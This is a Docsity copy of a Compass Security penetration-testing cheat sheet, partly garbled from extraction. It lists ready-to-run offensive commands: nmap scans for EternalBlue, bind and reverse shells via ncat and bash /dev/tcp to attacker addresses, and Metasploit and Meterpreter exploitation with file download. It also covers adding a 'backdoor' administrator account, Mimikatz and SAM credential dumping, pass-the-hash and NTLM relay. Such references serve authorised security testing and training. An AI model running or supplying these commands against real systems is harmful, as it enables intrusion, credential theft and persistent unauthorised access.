

Study with the several resources on Docsity
Earn points by helping other students or get them with a premium plan
Prepare for your exams
Study with the several resources on Docsity
Earn points to download
Earn points by helping other students or get them with a premium plan
Community
Ask the community for help and clear up your study doubts
Discover the best universities in your country according to Docsity users
Free resources
Download our free guides on studying techniques, anxiety management strategies, and thesis advice from Docsity tutors
Temel hacking araçları hakkında doc
Typology: Essays (high school)
1 / 2
This page cannot be seen from the preview
Don't miss anything!
Compass Security, Version 1. 1 , January 2020 https://www.compass-security.com Basic Linux Networking Tools Show IP configuration:
Change IP/MAC address:
Static IP address configuration:
DNS lookup:
Reverse DNS lookup:
Information Gathering Find owner/contact of domain or IP address:
Get nameservers and test for DNS zone transfer:
Get hostnames from CT logs: Search for %.compass-security.com on https://crt.sh. Or using an nmap script:
--script hostmap-crtsh Combine various sources for subdomain enum:
recursive 2 - d compass-security.com TCP Tools Listen on TCP port:
Connect to TCP port:
TLS Tools Create self-signed certificate:
Delete ARP cache: # ip neigh flush all Sniff traffic: # tcpdump [options] [filters] Useful tcpdump options: ▪ - i interface: Interface or any for all ▪ - n: Disable name and port resolution ▪ - A: Print in ASCII ▪ - XX: Print in hex and ASCII ▪ - w file: Write output PCAP file ▪ - r file: Read PCAP file Useful tcpdump filters: ▪ not arp: No ARP packets ▪ port ftp or port 23 : Only port 21 or 23 ▪ host 10.5.23.31: Only from/to host ▪ net 10.5.23.0/24: Only from/to hosts in network Advanced sniffing using tshark or Wireshark. Sniffing over SSH on a remote host: # ssh 10.5.23. 42 tcpdump - w- port not ssh | wireshark - k - i - Search in network traffic: # ngrep - i password Show HTTP GET requests: # urlsnarf Show transmitted images: # driftnet **Network Scanning** ARP Scan: # nmap - n - sn - PR 10.5.23.0/ Reverse DNS lookup of IP range: # nmap - sL 10.5.23.0/ Nmap host discovery (ARP, ICMP, SYN 443/tcp, ACK 80/tcp): # nmap - sn - n 10.5.23.0/ TCP scan (SYN scan = half-open scan): # nmap - Pn - n - sS - p 22,25,80,443,8080 10.5.23.0/ List Nmap scripts: # ls /usr/share/nmap/scripts Scan for EternalBlue vulnerable hosts: # nmap - n - Pn - p 443 --script smb- vuln-ms17- 010 10.5.23.0/ Scan for vulnerabilities (script category filter): # nmap - n - Pn --script "vuln and safe" 10.5.23.0/2 4 Performance Tuning (1 SYN packet ≈ 60 bytes → 20 ' 000 packets/s ≈ 10 Mbps): # nmap - n - Pn --min-rate 20000 10.5.23.0/ Useful nmap options: ▪ - n: Disable name and port resolution ▪ - PR: ARP host discovery ▪ - Pn: Disable host discovery ▪ - sn: Disable port scan (host discovery only) ▪ - sS/-sT/-sU: SYN/TCP connect/UDP scan ▪ --top-ports 50 : Scan 50 top ports ▪ - iL file: Host input file ▪ - oA file: Write output files (3 types) ▪ - sC: Script scan (default scripts) ▪ --script <file/category>: Specific scripts ▪ - sV: Version detection ▪ - 6 : IPv6 scan The target can be specified using CIDR notation (10.5.23.0/24) or range definitions (10.13- 37.5.1- 23 ). Fast scan using masscan: # masscan - p80,8000- 8100 --rate 20000 10.0.0.0/ Public internet scan databases: ▪ shodan.io, censys.io **Shells** Start bind shell (on victim): # ncat - l - p 2305 - e "/bin/bash - i" Connect to bind shell (on attacker): # ncat 10.5.23.42 2305 Listen for reverse shell (on attacker): # ncat - l - p 23 Start reverse shell (on victim): # ncat - e "/bin/bash - i" 10.5.23.5 23 Start reverse shell with bash only (on victim): # bash - i &>/dev/tcp/10.5.23.5/ 42 0>& Upgrade to pseudo terminal: # python - c 'import pty; pty.spawn("/bin/bash")'
Vulnerability DBs and Exploits Exploit search (local copy of the Exploit-DB):
Show exploit file path and copy it into clipboard:
Online vulnerability and exploit databases: ▪ cvedetails.com, exploit-db.com, packetstormsecurity.com Cracking Try SSH passwords from a wordlist:
./passwords.txt 10.5.23.0/ Determine hash type:
Show example hash types for hashcat:
Crack hashes (e.g. 5600 for NetNTLMv2 type):
/path/to/wordlists/* Crack hashes using John the Ripper:
Metasploit Framework Start Metasploit:
Search exploit:
search eternalblue Use exploit: msf > use exploit/windows/smb/ms17_… Configure exploit: msf exploit(…) > show options msf exploit(…) > set TARGET 10.5.23. Run exploit: msf exploit(…) > exploit Generate reverse shell (WAR):
java/jsp_shell_reverse_tcp LHOST=
use exploit/multi/handler set payload linux/x64/shell_reverse_tcp set LHOST 10.5.23.42 # attacker set LPORT 443 exploit
Upgrade to Meterpreter (or press ^Z (Ctrl-Z)): background Background session 1? [y/N] y
sessions # list sessions sessions - u 1 # Upgrade sessions 2 # interact with session 2 meterpreter > sysinfo # use it Upload / download files: meterpreter > upload pwn.exe meterpreter > download c:\keepass.kdb Execute a file: meterpreter > execute - i - f /your/bin Port forwarding to localhost: meterpreter > portfwd add - l 2323 - p 3389 - r 10.5.23. Background Meterpreter session: meterpreter > background Pivoting through existing Meterpreter session: use post/multi/manage/autoroute set session 2 # meterpreter session run route SOCKS via Meterpreter (requires autoroute): use auxiliary/server/socks4a set SRVPORT 8080 run Configure ProxyChains:
[...] socks4 127.0.0.1 1080 Connect through SOCKS proxy:
Linux Privilege Escalation Enumerate local information (-t for more tests):
https://raw.githubusercontent.com/rebo otuser/LinEnum/master/LinEnum.sh
Other hardening checks can be done using lynis or LinPEAS. Use sudo/SUID/capabilities/etc. exploits from gtfobins.github.io. Windows Privilege Escalation Copy PowerUp.ps1 from GitHub "Pow- erShellMafia/PowerSploit" into PowerShell to bypass ExecutionPolicy and execute Invoke- AllChecks. Use the abuse functions. Add a new local admin: C:> net user backdoor P@ssw0rd C:> net localgroup Administrators backdoor /add Scan for network shares:
u Administrator - p PasswordOrHash Windows Credentials Gathering Start Mimikatz and create log file: C:>mimikatz.exe
Read lsass.exe process dump:
Dump lsass.exe in taskmgr or procdump. Show passwords/hashes of logged in users:
Backup SYSTEM & SAM hive: C:>reg save HKLM\SYSTEM system.hiv C:>reg save HKLM\SAM sam.hiv Extract hashes using Mimikatz:
/sam:sam.hiv Pass-the-Hash Shell via pass-the-hash (Impacket Tools):
:011AD41795657A8ED80AB3FF6F078D domain/username@10.5.23. Over a subnet and extract SAM file:
:011AD41795657A8ED80AB3FF6F078D 10.5.23.0/24 --sam Browse shares via pass-the-hash:
domain/usrname@10.5.23.42 - hashes :011AD41795657A8ED80AB3FF6F078D RDP via pass-the-hash:
011AD41795657A8ED80AB3FF6F078D /v:10.5.23. Meterpreter via pass-the-hash: msf > set payload windows/meterpreter/reverse_tcp msf > set LHOST 10.5.23.42 # attacker msf > set LPORT 443 msf > set RHOST 10.5.23.21 # victim msf > set SMBPass 01[...]03:01[...] msf > exploit meterpreter > shell C:\WINDOWS\system32> NTLM Relay Vulnerable if message_signing: disabled:
security-mode 10.5.23.0/ Disable SMB and HTTP in Responder.conf and start Responder:
NTLM Relay to target and extract SAM file:
smb://10.5.23. NTLM Relay using socks proxy:
[...] socks4 127.0.0.1 1080 Access files via SOCKS proxy: # proxychains smbclient - m smb '\10.5.23.42\C$' - W pc 05 - U Administrator%invalidPwd Active Directory Use SharpHound to gather information and im- port into Bloodhound to analyze. Download PingCastle from pingcastle.com and generate Report. More Online References ▪ GitHub "swisskyrepo/PayloadsAllTheThings" ▪ GitHub "danielmiessler/SecLists ▪ GitHub "enaqx/awesome-pentest"